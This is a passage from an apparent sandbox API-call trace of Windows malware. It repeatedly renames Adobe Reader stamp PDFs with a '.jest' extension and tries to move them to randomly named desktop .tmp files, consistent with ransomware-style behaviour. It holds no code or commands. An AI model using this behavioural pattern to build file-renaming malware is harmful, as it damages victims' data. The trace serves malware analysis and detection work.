fltIn=0x479450b7, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.43") returned 0x0 [0151.743] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.743] CoFreeUnusedLibraries () [0151.743] GetTickCount () returned 0x1157b39 [0151.743] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.743] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.743] GetTickCount () returned 0x1157b39 [0151.743] IsWindowVisible (hWnd=0x30268) returned 0 [0151.743] Sleep (dwMilliseconds=0x0) [0151.744] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\kor\\signhere.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5fd5 LbqmXFKCE2G7VNXnUFikjAI1NZKZOVlK_QkT5ZBOWzkg4-7xZQQhLdc2YYeOOrRtf3uM qqdNLhTd7hbGQ4rHfcy_ThzXly.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\5fd5 lbqmxfkce2g7vnxnufikjai1nzkzovlk_qkt5zbowzkg4-7xzqqhldc2yyeoorrtf3um qqdnlhtd7hbgq4rhfcy_thzxly.tmp")) returned 0 [0151.744] GetLastError () returned 0x2 [0151.744] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.745] CoFreeUnusedLibraries () [0151.745] GetTickCount () returned 0x1157b39 [0151.745] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.745] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.745] GetTickCount () returned 0x1157b39 [0151.745] IsWindowVisible (hWnd=0x30268) returned 0 [0151.745] Sleep (dwMilliseconds=0x0) [0151.745] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NOR\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\nor\\dynamic.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NOR\\Dynamic.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\nor\\dynamic.pdf.jest")) returned 1 [0151.746] GetLastError () returned 0x0 [0151.746] VarBstrFromR4 (in: fltIn=0x479450b7, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.43") returned 0x0 [0151.746] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.746] CoFreeUnusedLibraries () [0151.747] GetTickCount () returned 0x1157b39 [0151.747] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.747] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.747] GetTickCount () returned 0x1157b39 [0151.747] IsWindowVisible (hWnd=0x30268) returned 0 [0151.747] Sleep (dwMilliseconds=0x0) [0151.747] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NOR\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\nor\\dynamic.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2dRQAsAZSWpVLKkwCkEyi8eD6eQ2hmRBI6mbQWX-hhJxh9bHx7Xp8Ba05EfPg1omqqYiTjVC62-42YpMTe98qRNp05B7l-QItstLU.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2drqasazswpvlkkwckeyi8ed6eq2hmrbi6mbqwx-hhjxh9bhx7xp8ba05efpg1omqqyitjvc62-42ypmte98qrnp05b7l-qitstlu.tmp")) returned 0 [0151.747] GetLastError () returned 0x2 [0151.748] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.748] CoFreeUnusedLibraries () [0151.748] GetTickCount () returned 0x1157b39 [0151.748] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.748] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.748] GetTickCount () returned 0x1157b39 [0151.748] IsWindowVisible (hWnd=0x30268) returned 0 [0151.748] Sleep (dwMilliseconds=0x0) [0151.748] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NOR\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\nor\\signhere.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NOR\\SignHere.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\nor\\signhere.pdf.jest")) returned 1 [0151.751] GetLastError () returned 0x0 [0151.752] VarBstrFromR4 (in: fltIn=0x479450b9, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.45") returned 0x0 [0151.752] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.752] CoFreeUnusedLibraries () [0151.752] GetTickCount () returned 0x1157b48 [0151.752] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.752] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.752] GetTickCount () returned 0x1157b48 [0151.753] IsWindowVisible (hWnd=0x30268) returned 0 [0151.753] Sleep (dwMilliseconds=0x0) [0151.753] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NOR\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\nor\\signhere.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\COwAgH3vl1guKBwkruOQquHp2K72RftLN-ALMsoaHbrsbvReCG 94l2YKDdq-Y-r_uB3lvY0k9hHKm45xOfKoKZUp oGs qqhVJ8.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cowagh3vl1gukbwkruoqquhp2k72rftln-almsoahbrsbvrecg 94l2ykddq-y-r_ub3lvy0k9hhkm45xofkokzup ogs qqhvj8.tmp")) returned 0 [0151.753] GetLastError () returned 0x2 [0151.754] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.754] CoFreeUnusedLibraries () [0151.754] GetTickCount () returned 0x1157b48 [0151.754] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.754] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.754] GetTickCount () returned 0x1157b48 [0151.754] IsWindowVisible (hWnd=0x30268) returned 0 [0151.754] Sleep (dwMilliseconds=0x0) [0151.754] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NOR\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\nor\\standardbusiness.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NOR\\StandardBusiness.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\nor\\standardbusiness.pdf.jest")) returned 1 [0151.755] GetLastError () returned 0x0 [0151.755] VarBstrFromR4 (in: fltIn=0x479450b9, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.45") returned 0x0 [0151.756] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.756] CoFreeUnusedLibraries () [0151.756] GetTickCount () returned 0x1157b48 [0151.756] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.756] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.756] GetTickCount () returned 0x1157b48 [0151.756] IsWindowVisible (hWnd=0x30268) returned 0 [0151.756] Sleep (dwMilliseconds=0x0) [0151.757] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NOR\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\nor\\standardbusiness.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\VmEDJnHHYev5Ba7-CxiPrGa13AhIF5UU9HsveoQI_h qqXIlYCZr-s-S-rp3dB-5n9KQag48F4_FXT0VplV1q6tU60xlLw sVq .tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vmedjnhhyev5ba7-cxiprga13ahif5uu9hsveoqi_h qqxilyczr-s-s-rp3db-5n9kqag48f4_fxt0vplv1q6tu60xllw svq .tmp")) returned 0 [0151.757] GetLastError () returned 0x2 [0151.757] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.757] CoFreeUnusedLibraries () [0151.757] GetTickCount () returned 0x1157b48 [0151.757] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.757] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.757] GetTickCount () returned 0x1157b48 [0151.758] IsWindowVisible (hWnd=0x30268) returned 0 [0151.758] Sleep (dwMilliseconds=0x0) [0151.758] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cht\\dynamic.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT\\Dynamic.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cht\\dynamic.pdf.jest")) returned 1 [0151.759] GetLastError () returned 0x0 [0151.759] VarBstrFromR4 (in: fltIn=0x479450b9, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.45") returned 0x0 [0151.759] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.759] CoFreeUnusedLibraries () [0151.759] GetTickCount () returned 0x1157b48 [0151.759] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.759] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.759] GetTickCount () returned 0x1157b48 [0151.760] IsWindowVisible (hWnd=0x30268) returned 0 [0151.760] Sleep (dwMilliseconds=0x0) [0151.760] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cht\\dynamic.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\4MCuutJJQI60Z61V JWxJU6Vl7I7Gq0WZD8eBgGNbKX-7ynJKq2i9Z69pikukhySXBe-C_MLN7p7FA2x8qKrgclJK zSYui4NEiVW.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\4mcuutjjqi60z61v jwxju6vl7i7gq0wzd8ebggnbkx-7ynjkq2i9z69pikukhysxbe-c_mln7p7fa2x8qkrgcljk zsyui4neivw.tmp")) returned 0 [0151.760] GetLastError () returned 0x2 [0151.761] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.761] CoFreeUnusedLibraries () [0151.761] GetTickCount () returned 0x1157b48 [0151.761] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.761] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.761] GetTickCount () returned 0x1157b48 [0151.761] IsWindowVisible (hWnd=0x30268) returned 0 [0151.761] Sleep (dwMilliseconds=0x0) [0151.761] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cht\\signhere.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT\\SignHere.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cht\\signhere.pdf.jest")) returned 1 [0151.765] GetLastError () returned 0x0 [0151.765] VarBstrFromR4 (in: fltIn=0x479450b9, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.45") returned 0x0 [0151.765] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.766] CoFreeUnusedLibraries () [0151.766] GetTickCount () returned 0x1157b58 [0151.766] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.766] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.766] GetTickCount () returned 0x1157b58 [0151.766] IsWindowVisible (hWnd=0x30268) returned 0 [0151.766] Sleep (dwMilliseconds=0x0) [0151.767] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cht\\signhere.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zZlpvxj-SDqmCUFCPlPXniR-9eg mJdKS20d qlG4bzgPceeLoBcxQUil5kTFLJUOeQ8CwM3sV5tJvYSOsJemdWD4Gl5fCXRx99y.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zzlpvxj-sdqmcufcplpxnir-9eg mjdks20d qlg4bzgpceelobcxquil5ktfljuoeq8cwm3sv5tjvysosjemdwd4gl5fcxrx99y.tmp")) returned 0 [0151.767] GetLastError () returned 0x2 [0151.768] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.768] CoFreeUnusedLibraries () [0151.768] GetTickCount () returned 0x1157b58 [0151.768] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.768] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.768] GetTickCount () returned 0x1157b58 [0151.768] IsWindowVisible (hWnd=0x30268) returned 0 [0151.768] Sleep (dwMilliseconds=0x0) [0151.768] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT\\Hanko.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cht\\hanko.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT\\Hanko.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cht\\hanko.pdf.jest")) returned 1 [0151.769] GetLastError () returned 0x0 [0151.770] VarBstrFromR4 (in: fltIn=0x479450bb, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.46") returned 0x0 [0151.770] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.770] CoFreeUnusedLibraries () [0151.770] GetTickCount () returned 0x1157b58 [0151.770] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.770] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.770] GetTickCount () returned 0x1157b58 [0151.770] IsWindowVisible (hWnd=0x30268) returned 0 [0151.770] Sleep (dwMilliseconds=0x0) [0151.771] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT\\Hanko.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cht\\hanko.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QJElmCC-JwjPB2NIWirX0ZStsWAepgtvAjYSyT2SCJkQWaopgy4z a8WwsgHEUcx7ulGVvhyPr1lWxozO4AaMQS b TaWrmPmc9J4.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qjelmcc-jwjpb2niwirx0zstswaepgtvajysyt2scjkqwaopgy4z a8wwsgheucx7ulgvvhypr1lwxozo4aamqs b tawrmpmc9j4.tmp")) returned 0 [0151.772] GetLastError () returned 0x2 [0151.772] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.772] CoFreeUnusedLibraries () [0151.772] GetTickCount () returned 0x1157b58 [0151.772] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.772] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.772] GetTickCount () returned 0x1157b58 [0151.772] IsWindowVisible (hWnd=0x30268) returned 0 [0151.772] Sleep (dwMilliseconds=0x0) [0151.773] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cht\\standardbusiness.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT\\StandardBusiness.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cht\\standardbusiness.pdf.jest")) returned 1 [0151.774] GetLastError () returned 0x0 [0151.774] VarBstrFromR4 (in: fltIn=0x479450bb, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.46") returned 0x0 [0151.774] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.775] CoFreeUnusedLibraries () [0151.775] GetTickCount () returned 0x1157b58 [0151.775] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.775] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.775] GetTickCount () returned 0x1157b58 [0151.775] IsWindowVisible (hWnd=0x30268) returned 0 [0151.775] Sleep (dwMilliseconds=0x0) [0151.776] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cht\\standardbusiness.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\X jdUIaAv9T_1guh133vtCG8XomC4-2gE2O7q4J5FoNSWHWFopxNWw3Vmn_HPMJb0eMWg0SU4lJU DjiqwUDgb 0AZzI2pKg_J3e.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\x jduiaav9t_1guh133vtcg8xomc4-2ge2o7q4j5fonswhwfopxnww3vmn_hpmjb0emwg0su4lju djiqwudgb 0azzi2pkg_j3e.tmp")) returned 0 [0151.776] GetLastError () returned 0x2 [0151.777] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.777] CoFreeUnusedLibraries () [0151.777] GetTickCount () returned 0x1157b58 [0151.777] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.777] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.777] GetTickCount () returned 0x1157b58 [0151.777] IsWindowVisible (hWnd=0x30268) returned 0 [0151.777] Sleep (dwMilliseconds=0x0) [0151.777] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DAN\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\dan\\dynamic.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DAN\\Dynamic.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\dan\\dynamic.pdf.jest")) returned 1 [0151.779] GetLastError () returned 0x0 [0151.779] VarBstrFromR4 (in: fltIn=0x479450bb, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.46") returned 0x0 [0151.779] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.780] CoFreeUnusedLibraries () [0151.780] GetTickCount () returned 0x1157b58 [0151.780] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.780] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.780] GetTickCount () returned 0x1157b58 [0151.780] IsWindowVisible (hWnd=0x30268) returned 0 [0151.780] Sleep (dwMilliseconds=0x0) [0151.781] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DAN\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\dan\\dynamic.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Ep3iQSYeTOBS2MYM2c8d34IhyVOjZYIJmA6_OPPx UXFeAdJCZ bpT5t8wgo lCue5KOGJ_KXIn7GBlFOIXCBdfZwGKDd4bBp9Aiz.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ep3iqsyetobs2mym2c8d34ihyvojzyijma6_oppx uxfeadjcz bpt5t8wgo lcue5kogj_kxin7gblfoixcbdfzwgkdd4bbp9aiz.tmp")) returned 0 [0151.781] GetLastError () returned 0x2 [0151.781] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.782] CoFreeUnusedLibraries () [0151.782] GetTickCount () returned 0x1157b67 [0151.782] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.782] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.782] GetTickCount () returned 0x1157b67 [0151.782] IsWindowVisible (hWnd=0x30268) returned 0 [0151.782] Sleep (dwMilliseconds=0x0) [0151.782] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DAN\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\dan\\signhere.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DAN\\SignHere.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\dan\\signhere.pdf.jest")) returned 1 [0151.786] GetLastError () returned 0x0 [0151.786] VarBstrFromR4 (in: fltIn=0x479450bd, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.48") returned 0x0 [0151.787] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.787] CoFreeUnusedLibraries () [0151.787] GetTickCount () returned 0x1157b67 [0151.787] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.787] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.787] GetTickCount () returned 0x1157b67 [0151.787] IsWindowVisible (hWnd=0x30268) returned 0 [0151.787] Sleep (dwMilliseconds=0x0) [0151.788] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DAN\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\dan\\signhere.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\H4Ay5TziNTQP-_STrDpg5gB76x4LCUqpOWNYUZSQ5RWZtsXR_wVehf_H6MWH3NzMEMQOWXFLpvWeWPtekwJfcwj4WDBxQzxCROXw.tmp" (normalized: "c:\\users\\5p5nrgjn0js 